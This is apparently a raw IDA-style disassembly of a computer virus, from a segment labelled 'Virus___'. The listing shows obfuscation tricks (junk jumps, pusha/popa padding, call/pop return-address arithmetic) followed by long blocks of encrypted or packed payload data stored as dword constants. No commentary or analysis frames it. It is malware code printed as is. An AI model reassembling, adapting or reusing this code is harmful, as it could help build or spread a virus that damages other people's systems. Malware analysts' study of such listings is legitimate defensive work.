		jmp	loc_5758C8
; ---------------------------------------------------------------------------
		dd 0D66AB7EEh, 48F64F42h
; ---------------------------------------------------------------------------


loc_5758C8:				; CODE XREF: Virus___:005758BBj
		pusha
		jmp	loc_5758DB
; ---------------------------------------------------------------------------
		db 0CCh
		db 23h
		dd 0CF5C2823h, 49F7B41Eh
		db 7Bh,	6Ch, 8Eh
; ---------------------------------------------------------------------------


loc_5758DB:				; CODE XREF: Virus___:005758C9j
		jmp	loc_5758E6
; ---------------------------------------------------------------------------
		and	ds:0A076A1Eh, ecx


loc_5758E6:				; CODE XREF: Virus___:loc_5758DBj
		popa
		nop
		mov	dl, 0DEh
		push	eax
		jmp	loc_575904
; ---------------------------------------------------------------------------
		dd 3864987Fh, 0DF407B2Dh, 36A6545Ch, 0ECEFC6ABh, 0E6AE296Ch
; ---------------------------------------------------------------------------


loc_575904:				; CODE XREF: Virus___:005758EBj
		nop
		mov	ch, bh
		call	dword ptr [ebp+71E98E3h]
		push	0
		push	ebp


loc_575910:				; CODE XREF: Virus___:005758B9j
		call	sub_575918
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_575918	proc near		; CODE XREF: Virus___:loc_575910p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_575918	endp

; ---------------------------------------------------------------------------
		dd 8B666763h, 0D88BF9D0h, 58CB8B66h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 0DCC35646h,	0B2BCE00h, 50840FDBh
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 0AD58C353h, 181CEB4Dh,	0AEF3A229h
		dd 0E9FC7FB1h, 15Bh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 32C35040h, 7EA415E2h,	50007C86h, 4893FB5h
		dd 50006A24h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 66DD71F0h, 7122DF81h, 0C3B5FFF8h, 66071E98h
		dd 0FF421CBAh, 1E98C795h, 918D2B07h, 0B071B32h,	81850FC0h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 847EC350h, 806051E5h, 596170EAh
		dd 0AE861h, 0AF450000h,	0FF60B6DCh, 6FDFC9A0h, 0BE8h, 0E1175600h
		dd 0B072A28Eh, 0EF85B2F8h, 0C75A59F9h, 1E98CB85h, 107h
		dd 9DBD0100h, 0E9071B09h, 93h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 0ADC35343h,	958B97C1h, 71B05B9h
		dd 51006A61h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 1110EFBAh, 0F2812D00h, 3A88D962h, 11CC681h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 92EF8CC3h, 0A9D423AFh, 0F8CAE9D7h, 14E9FFFFh
		dd 0B000000h, 943E6A6Fh, 0F59E8063h, 0EFF1509Eh, 3B74DA1h
		db 90h
; ---------------------------------------------------------------------------
		xor	al, 0C6h
; START	OF FUNCTION CHUNK FOR sub_575810


loc_575AE3:				; CODE XREF: sub_575810+8j
		push	2D55EDEh
		xor	[esp-20h+arg_1C], 2D5DEDEh
		cmc
		push	0
		sub	ch, 0BEh
		push	dword ptr [ebp+71E98D3h]
		push	0
		push	ebx
		call	sub_575B06
		and	[ebx-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_575810

; =============== S U B	R O U T	I N E =======================================



sub_575B06	proc near		; CODE XREF: sub_575810+2EEp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_575B06	endp

; ---------------------------------------------------------------------------
		dw 9AE9h
		dd 0FFCF8BC6h, 1B0DAD95h, 13E807h, 0B8150000h, 4236FF46h
		dd 0B6A3BB6Fh, 8A615DDDh, 0F31248C4h, 59FB8B9Eh, 98CB858Bh
		dd 0F680071Eh, 0CEBF90A7h, 5004D24Ch, 57006A90h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
		dd 0B858A47Fh, 64C247B3h, 0D899529h, 858D071Bh,	71E98DBh
		dd 2615B509h, 0E990071Bh, 6, 3C47FD35h,	0E9508668h, 7
		dd 76DD795Ch, 9008FF38h, 11E8CE8Bh, 2D000000h, 968C1E17h
		dd 0A11F41A4h, 0D573B59Dh, 0FFFF45A5h, 16858D29h, 8D59071Bh
		dd 1E989885h, 8BD38B07h, 1B09198Dh, 4895007h, 0CE924h
		dd 0A0F60000h, 0B464C426h, 0D5459B75h, 95FF5967h, 71B0599h
		dd 0CE8h, 0E3589500h, 0B096C05Ah, 0B150DE9Ch, 0C8BF0F86h
		dd 6830F59h, 23000000h,	1B30CDBDh, 66C08B07h, 0DB38F281h
		dd 499B589h, 0BD83071Bh, 71B1BD1h, 83097500h, 1B1FD5BDh
		dd 13740007h, 0C08B5350h, 4D0B8h, 0F39D8D00h, 0FF071DA9h
		dd 83585BD3h, 1B1FD5BDh, 11740007h, 0D0B85350h,	8D000004h
		dd 1DA8F29Dh, 5BD3FF07h, 8D895158h, 71B30F9h, 56006A59h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 0AD8D8B12h, 8B071B32h, 8B0FC0h, 58000000h, 2ABD8D89h
		dd 8C2071Bh, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 0A1C429D2h, 8B1D4C94h, 50006AC0h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 56F5469Eh, 50418FB4h, 8D2BC37Ah, 71B33A1h, 9915858Dh
		dd 6A071Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 54ABACC3h, 2BB12FE7h, 14E955h, 0E5DF0000h
		dd 4479D5EFh, 2E935D47h, 0BAA86F79h, 0EB6D19C2h, 8589E6FCh
		dd 71B2C4Dh, 39EBh, 2CC00A9h, 2E400A9h,	0A9h, 35D60000h
		dd 3916E984h, 31C1D89Dh, 35238C8Ch, 7247E187h, 5C79E08Dh
		dd 10CED8A7h, 280B8CA5h, 32C7FCA6h, 3923E4BDh, 3CA8E888h
		dd 0D7A23BE6h, 0A2AE629h, 5C158F01h, 9FD4ACE9h,	783105B7h
		dd 78E60DEDh, 5C5199EDh, 9FFECAE9h, 0E1D7B2CBh,	5B319738h
		dd 0DF1CF9E9h, 47955954h, 45318CEEh, 9C29DFB9h,	5C553551h
		dd 3D2D05E9h, 0D15397C3h, 41813474h, 7C673EEh, 89370FB1h
		dd 5C4297F6h, 0FF29B9Dh, 5C553551h, 3D2D05E9h, 0D15397C3h
		dd 41822B74h, 7C673EEh,	0C8AE6B1h, 5C458F01h, 9FFAACE9h
		dd 781505B1h, 78EC0DEDh, 5C5498EDh, 9F7ACCE9h, 5C1E6555h
		dd 59398CE9h, 6D68B27Ch, 592AA981h, 0D51E675h, 5CA88F01h
		dd 9F0DACE9h, 786605B0h, 78510DEDh, 5C8A94EDh, 9F14CDE9h
		dd 7F3AD8A7h, 36910726h, 5F40DCE9h, 7C548CE9h, 0D5724FB1h
		dd 0DD11A8ADh, 488EA8ADh, 1C458CE9h, 0D5324FB9h, 47648D6Ch
		dd 592D4AEEh, 0A5397F5h, 58233962h, 58FD8BF2h, 0E8A8CE9h
		dd 0AD92451h, 4E4BDCB6h, 7D518CE9h, 992B9768h, 626CF316h
		dd 0E962D1B3h, 0DC9CBFD9h, 78CE07ADh, 0E94507EDh, 78E60568h
		dd 0E9DAD4EDh, 5BB39444h, 72453916h, 5C408BF2h,	5C1664BEh
		dd 3AA8CE9h, 20CCD32Ah,	182388CDh, 5C4D88CDh, 0BEF8CE9h
		dd 0A8413E2Ah, 0DE581816h, 0E99C8AD3h, 5B91A3E8h, 223F0964h
		dd 0C18B8BF7h, 5B4AAE18h, 0C9215C16h, 5B4FBD48h, 5C408883h
		dd 5C1664B9h, 4AA8CE9h,	18CCD42Ah, 182388CDh, 5C4588CDh
		dd 0CE88CE9h, 0DE5B1F2Ah, 5C2A8CEFh, 58F81962h,	0F9E28BF2h
		dd 0DD2870FDh, 5807A8DDh, 5C3BE115h, 5CAB64BAh,	7748CE9h
		dd 0A3D72Ah, 189488CDh,	5C9188CDh, 0F068CE9h, 0D7A5AD2Ah
		dd 36861FDDh, 452D051Fh, 345397E3h, 9580D78h, 5C1105E6h
		dd 0E3EC8CE9h, 68C455B2h, 2E21F1CDh, 69A633BCh,	5CC28566h
		dd 5C811960h, 94A18BF2h, 5C7F5C16h, 5C8964BAh, 7658CE9h
		dd 2BD72Ah, 18D088CDh, 5CB088CDh, 0F178CE9h, 6FEB22Ah
		dd 4EFDC642h, 0D98A8CE9h, 0E46281C9h, 38CED521h, 88B68FF5h
		dd 0AFAAAF34h, 5C5E65E7h, 0DF1A8CE9h, 90A2FCE1h, 2BB6C809h
		dd 0E0C005B7h, 36A59242h, 5FB9DAE9h, 7CA88CE9h,	0D50A4FB7h
		dd 0DD2EA89Dh, 4A11A8ADh, 1A8A8CE9h, 4654FBFh, 0B12F8F6Dh
		dd 0D75697EDh, 5E648911h, 0D9DD8CE9h, 5B342729h, 0D50D4C6Ah
		dd 4221486Ch, 0E585BFEEh, 5CA28E05h, 5BB8261Ah,	1A88CE9h
		dd 1E3B3F29h, 0E9A30547h, 5B0EBD34h, 5C8A8400h,	718385E9h
		dd 10505DA0h, 59D44A6Ah, 1FAF97F5h, 0B4078C83h,	5C2A8CEAh
		dd 7D6D7C9h, 58AED060h,	5861C868h, 5CA28CF4h, 9892DFAAh
		dd 1701CC3Ch, 0B859BBB7h, 0F338E4E0h, 0D773174Ch, 78BE0D11h
		dd 5B8748A5h, 5CA28600h, 0ED35E3E9h, 0A75D319Bh, 0A3679F97h
		dd 47049D5Ch, 0A15E6EEh, 5C8A8F01h, 9F1BACE9h, 78D605B7h
		dd 78150DEDh, 5CA896EDh, 9F02CAE9h, 4617DF60h, 53B089EAh
		dd 5C8A8A62h, 29D0BDE9h, 53A597C7h, 0D9DC4656h,	5BB6F293h
		dd 0B4058C83h, 5C2A8CEAh, 5D6D5C9h, 58AEC060h, 5861C868h
		dd 5CA28CFFh, 0E492DDA8h, 0D7CED8E6h, 55847338h, 470C515Ch
		dd 0CD9005EEh, 0D78D97C3h, 476E8554h, 0FD2701EEh, 755697FAh
		dd 478D8554h, 0D1DDECEEh, 5B319360h, 3DC633E6h,	42230960h
		dd 8CCE8BF2h, 40A7092Fh, 0B4028BF2h, 5CA88CEDh,	0A0E5C431h
		dd 0D125DEB9h, 5C158CEBh, 6D856663h, 5C459801h,	0AC0B8BE9h
		dd 2778BFB9h, 10533FE5h, 71BD3FB3h, 73ADAB8Bh, 64ADF38h
		dd 0D7DAD4B3h, 0B441A8ADh, 5CA28CFBh, 0FD11914Ch, 20C78111h
		dd 0CE520632h, 71985CC9h, 0D41A9A54h, 5C8A8CEFh, 6D4ADEB9h
		dd 0D7FCD4B3h, 0B503ECE9h, 5CA88CE5h, 4CF63862h, 0ADDC3AA3h
		dd 1263E73Ch, 9B01EAB2h, 78010588h, 0AB29EAEDh,	81ECA7B1h
		dd 0D7AF97FFh, 4DE1733Fh, 362D97C7h, 5FFDD9E9h,	7C8A8CE9h
		dd 0D5184FB4h, 0DDA6A885h, 4B55A8ADh, 19A88CE9h, 7FDC4FBCh
		dd 0D9A79956h, 5B0BF293h, 58871962h, 8CBA8BF2h,	8C9C8357h
		dd 0D5D40592h, 36AF97FBh, 5FBCDAE9h, 7C2A8CE9h,	0D54B4FB7h
		dd 0DD8EA89Dh, 4941A8ADh, 1AA28CE9h, 0DB7E4FBFh, 0C5791250h
		dd 0BED5EADFh, 0D9EC5DCDh, 5B0E90ECh, 0B8AE6BAh, 5C458F01h
		dd 9FFDACE9h, 782D05B6h, 78EC0DEDh, 5C5499EDh, 9F7DCBE9h
		dd 0E99C684Dh, 5B918888h, 4BD03962h, 3DCA8BF2h,	0B597A455h
		dd 5CA88CE7h, 21733435h, 0CE114356h, 5D2071EAh,	580B1E7Ch
		dd 0AC4DDECDh, 0B56D07F8h, 5C518CEFh, 0AB3303C7h, 0E9AB8C1Fh
		dd 5B31A2F8h, 5C159D00h, 865542E9h, 0E675CA1Ah,	0A2057053h
		dd 4F6A721Ch, 0D9250FD7h, 5B4AF293h, 0B47F8C83h, 5C158CEAh
		dd 149D1C9h, 5861E060h,	5886C868h, 5C518CF1h, 0DC6BD9ACh
		dd 95984232h, 7AFF0960h, 5BFD8BF2h, 0CF8A8CE9h,	2BB9E68Ch
		dd 504ACF39h, 0E7518CE9h, 329387E2h, 6E7510A0h,	0B575384Fh
		dd 5C158CE7h, 9E77F2h, 57E57D92h, 13C1FD17h, 30B4888h
		dd 59D539E8h, 8CAB8BF2h, 0B4788C83h, 5C158CEAh,	649D6C9h
		dd 5861D860h, 5886C868h, 5C518CFEh, 916BDEABh, 0D797BA67h
		dd 4730417Ch, 0F99005EEh, 5F8D97E0h, 47608D54h,	59274AEEh
		dd 1B5697F5h, 5CAE01E6h, 93D58CE9h, 372AC766h, 5C160CE6h
		dd 8D0A8CE9h, 0B1A3E4E2h, 3AF4D756h, 0DD0E7B62h, 0B36BA8EDh
		dd 5C3ED0F7h, 5C2964BCh, 1358CE9h, 3003D12Ah, 18C488CDh
		dd 5CBB88CDh
		dd 9148CE9h, 713D662Ah,	0D7F279FFh, 470C497Ch, 5E9C83EEh
		dd 0D68A8CE9h, 4DF07323h, 77A597C7h, 47469D54h,	262D01EEh
		dd 0D7539297h, 0E5FA7310h, 0BF3ABF7h, 69030960h, 0E6238BF2h
		dd 0D9648324h, 5B4A90ECh, 0AA8E6AEh, 5C548F01h,	9F74ACE9h
		dd 786105B7h, 78CE0DEDh, 5C459BEDh, 9FF4CAE9h, 35BA24DFh
		dd 85D3338Fh, 0BDF6328Fh, 5C2A8801h, 8005F6E9h,	0A401EA68h
		dd 5DFAEAB9h, 78E60776h, 5C5665EDh, 2F9B8CE9h, 79678012h
		dd 0B52A07C8h, 5C158CF9h, 0A8F5E775h, 68CC93F0h, 46B3A6A0h
		dd 0DE861746h, 588CC860h, 5C548000h, 709156E9h,	671AE90Fh
		dd 4B29E63Bh, 5C2FD4EDh, 5CA164BCh, 1718CE9h, 3021D12Ah
		dd 18D588CDh, 5C3088CDh, 9508CE9h, 0B4ADB12Ah, 5D28F373h
		dd 5CA28300h, 0A6CE91E9h, 4B3EDD2Eh, 0DE9CD7C8h, 9A5029C1h
		dd 72043916h, 0EB858BF2h, 26C00127h, 36A59297h,	5FB9DBE9h
		dd 7CA88CE9h, 0D50B4FB6h, 0DD2EA895h, 4911A8ADh, 1B8A8CE9h
		dd 18144FBEh, 5CA28B01h, 20667BE9h, 5499C12Ah, 0AFEB83B0h
		dd 0B39C5C16h, 0B58005B9h, 38D97E5h, 44980960h,	5CC88BF2h
		dd 5C5264BEh, 3888CE9h,	20DDD32Ah, 18AB88CDh, 5C0D88CDh
		dd 0BCD8CE9h, 0B20B962Ah, 9A5BC63Dh, 474D896Ch,	5CC2CBEEh
		dd 5C5764BBh, 60A8CE9h,	89CD62Ah, 180B88CDh, 5C5D88CDh
		dd 0EE08CE9h, 0FB5A4B2Ah, 0C9236DEEh, 5B4FA800h, 5C2A8801h
		dd 9129D1E9h, 0BD33EA43h, 0D44ADC19h, 5CA28CEDh, 0A471368Fh
		dd 588CC862h, 0D65BDEB9h, 5C2A8CEFh, 6D1ADEB9h,	6D85D4B3h
		dd 0F11A338Fh, 5C29D4B3h, 5C519F01h, 79F0EBE9h,	1FB9FA51h
		dd 0B139CC76h, 8411B9D7h, 808733A2h, 5C4000E6h,	621C8CE9h
		dd 22A3E4Ah, 588CC860h,	0DBF2457h, 5C40D4CDh, 5C1664B9h
		dd 4AA8CE9h, 18CCD42Ah,	182388CDh, 5C4D88CDh, 0CE88CE9h
		dd 5597542Ah, 0E2221D4Fh, 53AFD390h, 3A949A1Ah,	68806668h
		dd 72B33916h, 0DD378BF2h, 0D14DD037h, 422AF66Ch, 5EA183EEh
		dd 0D7158CE9h, 5F0B8310h, 53458CE9h, 8C5D4556h,	744C3962h
		dd 0D9218BF2h, 5B4F8FECh, 0B4798C83h, 5C158CEAh, 749D7C9h
		dd 5861D060h, 5886C868h, 5C518CFFh, 856BDFAAh, 0DD320DEBh
		dd 0A36C0A3Bh, 0F15E639h, 5C8A8F01h, 9F1EACE9h,	78FE05B2h
		dd 78150DEDh, 5CA89BEDh, 9F07CFE9h, 946E2069h, 5D5C0960h
		dd 5CE08BF2h, 5C4664B9h, 4828CE9h, 18D8D42Ah, 182988CDh
		dd 5C4388CDh, 0C6A8CE9h, 0EC520D2Ah, 8406EA0Eh,	5C4404E6h
		dd 785A8CE9h, 5C5F64EDh, 9ED78CE9h, 97D5FD05h, 41AFD42Eh
		dd 0DFBB1089h, 5C8A8600h, 0BF208EE9h, 2F2B4838h, 6035F80h
		dd 0D8A74CE3h, 5C548FBCh, 0B47C8C83h, 5C158CEAh, 249D2C9h
		dd 5861F860h, 5886C868h, 5C518CF0h, 376BDAAFh, 441C9689h
		dd 71A7056Ch, 9A1297CCh, 4796896Ch, 0E9CEC3EEh,	5BB9A2FCh
		dd 0D6124381h, 5CAF6459h, 82F68CE9h, 607FC777h,	5894D5FFh
		dd 0AAA279CDh, 0B45E6E7h, 5CA28F01h, 9F0EACE9h,	78D405B6h
		dd 78100DEDh, 5C2A98EDh, 9F42CBE9h, 5C846450h, 477F8CE9h
		dd 0E885856Bh, 6169D8C7h, 0DFB30DC8h, 5C5202E6h, 0D12B8CE9h
		dd 5B0EB8F8h, 4D3F73B3h, 364297C7h, 5F4ADDE9h, 7C518CE9h
		dd 0D5F14FB0h, 0DD50A8A5h, 462EA8ADh, 1D158CE9h, 35614FB8h
		dd 50A2A7F2h, 0A71D8316h, 0D1A033E6h, 42D6F66Ch, 0E54E6EEh
		dd 5C2A8F01h, 9F4FACE9h, 78DE05B3h, 78010DEDh, 5CA294EDh
		dd 9F03CEE9h, 1F636127h, 5C466534h, 8BEB8CE9h, 0E14596F1h
		dd 8D4B53F2h, 3395FFD3h, 132D0E70h, 8CAEFB58h, 81566D68h
		dd 8ADFF672h, 0D70E4C6Ah, 0B5900518h, 368D97EDh, 5FADDDE9h
		dd 7CA28CE9h, 0D5084FB0h, 0DDACA8A5h, 4450A8ADh, 1D2A8CE9h
		dd 95DB4FB8h, 0D7CABAE4h, 47547964h, 152707EEh,	0D55697E8h
		dd 47ADB174h, 59C907EEh, 3A2D97EAh, 91D05568h, 0D8AE6AAh
		dd 5C458F01h, 9FFBACE9h, 781D05B0h, 78EC0DEDh, 5C5498EDh
		dd 9F7BCDE9h, 2AAAEA61h, 9937BDD1h, 0D74297C4h,	0BD23EAF2h
		dd 47DAC7FEh, 334A358Fh, 5C3E9762h, 5C2964BCh, 1358CE9h
		dd 3003D12Ah, 18C488CDh, 5CB788CDh, 9148CE9h, 0DD50152Ah
		dd 402B3D37h, 0B5D3079Dh, 5C158CE2h, 6320527Fh,	62A231ADh
		dd 6F7576E6h, 0F51E631h, 5CA88F01h, 9F0FACE9h, 787605B2h
		dd 78510DEDh, 5C8A90EDh, 9F16CFE9h, 7B29D484h, 0B15A093Fh
		dd 6915BD2Fh, 3A5397FBh, 7EF27A68h, 5EE81960h, 0C1038BF2h
		dd 5B5EBCBCh, 40A7092Fh, 0E168BF2h, 70F50162h, 0B40B8BF2h
		dd 5C2A8CEDh, 0EBCB5140h, 5C8A9F00h, 2A68F9E9h,	5719DB21h
		dd 153FB7E2h, 0FA9AAD75h, 406D35Dh, 4EC2ECB9h, 72158CE9h
		dd 89C42FFAh, 719D0ABBh, 663DD172h, 2D28C458h, 5CBB650Dh
		dd 0C4558CE9h, 65DED3AFh, 271DC885h, 3B8FC34h, 0F9E5FA9h
		dd 0BF19D69Eh, 3D51DDD4h, 588CC862h, 5C5606E6h,	5788CE9h
		dd 5BFD8C62h, 0A88A8CE9h, 6F0D17DBh, 5B4B67E8h,	20518CE9h
		dd 1551BDC5h, 0D50A0D4Ch, 0E62EA8ADh, 537D68A5h, 0A37407B1h
		dd 476B9D5Ch, 8A29EAEEh, 222B0964h, 5CC28BF7h, 5C5764BAh
		dd 70A8CE9h, 9CD72Ah, 180B88CDh, 5C5188CDh, 0FE18CE9h
		dd 0C950F52Ah, 5BB3A1B8h, 5C3E5C16h, 5C2964BEh,	3358CE9h
		dd 2003D32Ah, 18C488CDh, 5CBA88CDh, 0B168CE9h, 3489BE2Ah
		dd 0D9DD82DCh, 5B31B960h, 5C170AE6h, 97018CE9h,	0E45E6A9h
		dd 5CA28F01h, 9F0BACE9h, 78FC05B3h, 78100DEDh, 5C2A98EDh
		dd 9F47CEE9h, 110705CEh, 0D74297F8h, 5C2979E9h,	0B4018C83h
		dd 5CA88CEAh, 497D4C9h,	580EC860h, 5831C868h, 5C8A8CF4h
		dd 7F86DCA9h, 9FB8F191h, 4CC113BAh, 212D05E1h, 0B55397F1h
		dd 5C2A8CEFh, 3B12416Fh, 0C9017752h, 5B5EA6DCh,	5CA25C00h
		dd 0BED401E9h, 36AF9242h, 5FBCDEE9h, 7C2A8CE9h,	0D54F4FB3h
		dd 0DD8EA8BDh, 4941A8ADh, 1EA28CE9h, 22B64FBBh,	5CAE07E6h
		dd 0E1578CE9h, 5B319204h, 4DA83960h, 0D5DA8BF2h, 6FCA8EDh
		dd 0A3C20862h, 4743157Ch, 5417EAEEh, 0B4C9018Bh, 532D9242h
		dd 5C15946Ah, 5C9965E9h, 3BA38CE9h, 933455F9h, 5EEE1641h
		dd 1A8D8A9Eh, 8CA074EBh, 4DC21FCFh, 0B2158CE9h,	0F0A5E0E3h
		dd 42645CACh, 0E2242CFFh, 0F49AD806h, 4C40DCB3h, 46548CE9h
		dd 0EC889878h, 201E02A1h, 0A62753BEh, 0E683F304h, 3FB9BE31h
		dd 0D95E1FB3h, 5CA88CEAh, 0C823BE6h, 58A34662h,	74AAEACDh
		dd 0D35B0DB3h, 0A30CBCC4h, 47AFF17Ch, 8EE683EEh, 0B52D051Ch
		dd 0D75397EDh, 4731C97Ch, 59904AEEh, 0F8D97F5h,	0B4168C83h
		dd 5CA28CEAh, 792D7C9h,	588CD060h, 5870C868h, 5C2A8CF4h
		dd 45D6DFAAh, 0DEFA4ABh, 0A26787CDh, 0CD3785A3h, 0B45697DAh
		dd 5CA88CEDh, 0F6D30896h, 5C256589h, 69AD8CE9h,	0B735F5B7h
		dd 0B67B60Fh, 0B1097FDCh, 0B401ED8Fh, 5CA88CF8h, 0C2A6A8Eh
		dd 0C4267E78h, 0C3A9E782h, 0E570DDAAh, 5393A02h, 5886C862h
		dd 5C426589h, 3658CE9h,	0A0FF589Ch, 974CF4CFh, 6AFB4C2Bh
		dd 3AC2140Ah, 3DB50732h, 0D7C48C62h, 78150513h,	5CC2D4EDh
		dd 5C5764B8h, 50A8CE9h,	109CD52Ah, 180B88CDh, 5C5288CDh
		dd 0DE38CE9h, 7A01912Ah, 0C515059Dh, 0A35397CFh, 47049D5Ch
		dd 0B15E6EEh, 5C8A8F01h, 9F1AACE9h, 78DE05B6h, 78150DEDh
		dd 5CA898EDh, 9F03CBE9h, 8394EAB5h, 2690019Dh, 0D78D9297h
		dd 4777FD54h, 0D77273EEh
		dd 4772AD7Ch, 812D05EEh, 365397E0h, 5FC2DAE9h, 7C158CE9h
		dd 0D5D44FB7h, 0DD41A89Dh, 48A6A8ADh, 1A518CE9h, 0D5BA4FBFh
		dd 4776E97Ch, 9AFD07EEh, 4709896Ch, 0E5ECCBEEh,	0A62D3393h
		dd 0CFCD5E4h, 0A2DAEABBh, 0D7FFBDE6h, 40ED519h,	0CA0E8868h
		dd 365695EEh, 5F62DBE9h, 7C458CE9h, 0D5FD4FB6h,	0DD55A895h
		dd 40ACA8ADh, 1B548CE9h, 67394FBEh, 93C1C57Fh, 3ADCC1EFh
		dd 57AC7C62h, 9CA28CE9h, 39BD9A9Bh, 93952AC4h, 0E9AB7020h
		dd 5B31A2F8h, 5C158000h, 8A77FE9h, 0AF50A718h, 0F7593C62h
		dd 26D4013Ch, 7FAF9297h, 477F7D7Ch, 36FA73EEh, 5FFDDCE9h
		dd 7C8A8CE9h, 0D51D4FB1h, 0DDA6A8ADh, 4555A8ADh, 1CA88CE9h
		dd 67114FB9h, 73140B39h, 7DC7CB57h, 5C8665A1h, 32AE8CE9h
		dd 17F1A390h, 4D7C1201h, 0D921BFF2h, 5B4FB988h,	0B47D8C83h
		dd 5C158CEAh, 349D3C9h,	5861F060h, 5886C868h, 5C518CFDh
		dd 216BDBAEh, 4051092Fh, 0D7798BF2h, 4721957Ch,	5C8E64EEh
		dd 3D58CE9h, 8F2815D0h,	0ABDAEAB9h, 588CC862h, 4836B750h
		dd 3A2A0790h, 0D5B41953h, 0D8EA8ADh, 5C458600h,	0E35212E9h
		dd 440FFEF1h, 3A2C022h,	0E1DDDAB1h, 5B319E74h, 4DA073B7h
		dd 0D78D97C7h, 26C00117h, 36A59297h, 5FB9D9E9h,	7CA88CE9h
		dd 0D5094FB4h, 0DD2EA885h, 4411A8ADh, 198A8CE9h, 0D574FBCh
		dd 0D75180D2h, 474AA554h, 367873EEh, 5FBCDDE9h,	7C2A8CE9h
		dd 0D54C4FB0h, 0DD8EA8A5h, 4A41A8ADh, 1DA28CE9h, 0EBFE4FB8h
		dd 2D2D059Ch, 535397E2h, 5C2A9C60h, 5C1E65E9h, 89438CE9h
		dd 0A5775E5Ah, 0DC00487Dh, 59D44A4Eh, 0BAF97F5h, 0B056E41Ch
		dd 0E34C59E8h, 68941E5Dh, 593488CDh, 71F0A5ACh,	0A3A597C8h
		dd 477F9D5Ch, 9A8E6EEh,	5C548F01h, 9F77ACE9h, 787905B4h
		dd 78CE0DEDh, 5C4597EDh, 9FF7C9E9h, 25D0031Dh, 89463DA1h
		dd 4B4D01C0h, 0D1258BF2h, 5C158CEFh, 6D073162h,	0D9C88BF2h
		dd 5BBCF293h, 0B4038C83h, 5CA88CEAh, 697D6C9h, 580ED860h
		dd 5831C868h, 5C8A8CF0h, 4086DEABh, 0AF00A5F1h,	5C436547h
		dd 0DAFF8CE9h, 14D451A2h, 104DCE97h, 0FB25B8Fh,	323180EAh
		dd 5C2F5C16h, 5CA164B8h, 5718CE9h, 1021D52Ah, 18D588CDh
		dd 5C3688CDh, 0D548CE9h, 8BA5312Ah, 5DD45DCFh, 5B4BF930h
		dd 33518CE9h, 0F73FC542h, 0D9DD3EB8h, 5B31A3ACh, 7F2C3162h
		dd 0D94C8BF2h, 5B5E90ECh, 0FA2E6AAh, 5C518F01h,	9FF3ACE9h
		dd 780805B2h, 786E0DEDh, 5C159AEDh, 9FD9CFE9h, 5DC05724h
		dd 47BDD17Ch, 0D322E4EEh, 30174D5Bh, 0DD60A3ADh, 0A371A8DDh
		dd 5C7FF1CBh, 5C8964BEh, 3658CE9h, 202BD32Ah, 18D088CDh
		dd 5CB188CDh, 0B138CE9h, 1C96922Ah, 3A81C5BFh, 0E9755F62h
		dd 5B5EA2F8h, 5CA10DE6h, 0D7378CE9h, 262D0123h,	36539297h
		dd 5FC2DAE9h, 7C158CE9h, 0D5D44FB7h, 0DD41A89Dh, 45A6A8ADh
		dd 1A518CE9h, 0D5E84FBFh, 701A44AEh, 4A0301D8h,	0D99C8BF2h
		dd 5B9188ACh, 5C2F5C16h, 5CA164B9h, 4718CE9h, 1821D42Ah
		dd 18D588CDh, 5C3288CDh, 0C558CE9h, 0DE1FBD2Ah,	0D5B01D5Ah
		dd 47B4B16Ch, 0D51E6EEh, 5CA88F01h, 9F0DACE9h, 786605B0h
		dd 78510DEDh, 5C8A99EDh, 9F14CDE9h, 755B8ACBh, 47746D5Ch
		dd 842D01EEh, 36539242h, 5FC2DAE9h, 7C158CE9h, 0D5D44FB7h
		dd 0DD41A89Dh, 40A6A8ADh, 1A518CE9h, 1FA04FBFh,	0EC5CCF61h
		dd 53C0C2B7h, 0C855C56h, 5C8A8001h, 0EC56B9E9h,	3D6EEA9Ah
		dd 0AE680E82h, 5CA5658Dh, 53CE8CE9h, 64F655CFh,	0A7F1CB9Ch
		dd 23ED686h, 0E45E679h,	5CA28F01h, 9F0BACE9h, 78FC05B3h
		dd 78100DEDh, 5C2A99EDh, 9F47CEE9h, 0C975F49Dh,	5B5E9E70h
		dd 5CC85462h, 5C5264B8h, 5888CE9h, 10DDD52Ah, 18AB88CDh
		dd 5C0088CDh, 0DCB8CE9h, 0D122332Ah, 4209406Ch,	0B51E6EEh
		dd 5CA88F01h, 9F0BACE9h, 785605B6h, 78510DEDh, 5C8A96EDh
		dd 9F12CBE9h, 963496C7h, 53E98783h, 5CA88265h, 5C5164E9h
		dd 78868CE9h, 3AB38CADh, 0CD45D62h, 58CC4263h, 0DA2E6CDh
		dd 5C518F01h, 9FF1ACE9h, 781805B0h, 786E0DEDh, 5C1598EDh
		dd 9FDBCDE9h, 19F0072Bh, 0CA597C3h, 6D5EDEB9h, 2FBDEB9h
		dd 52BCBDE6h, 0BD2A8CE9h, 593003B1h, 0A8810AFEh, 835BA4ACh
		dd 4F8D583h, 40D8D4B3h,	0DA8E6CDh, 5C548F01h, 9F73ACE9h
		dd 785905B0h, 78CE0DEDh, 5C4590EDh, 9FF3CDE9h, 114F2A45h
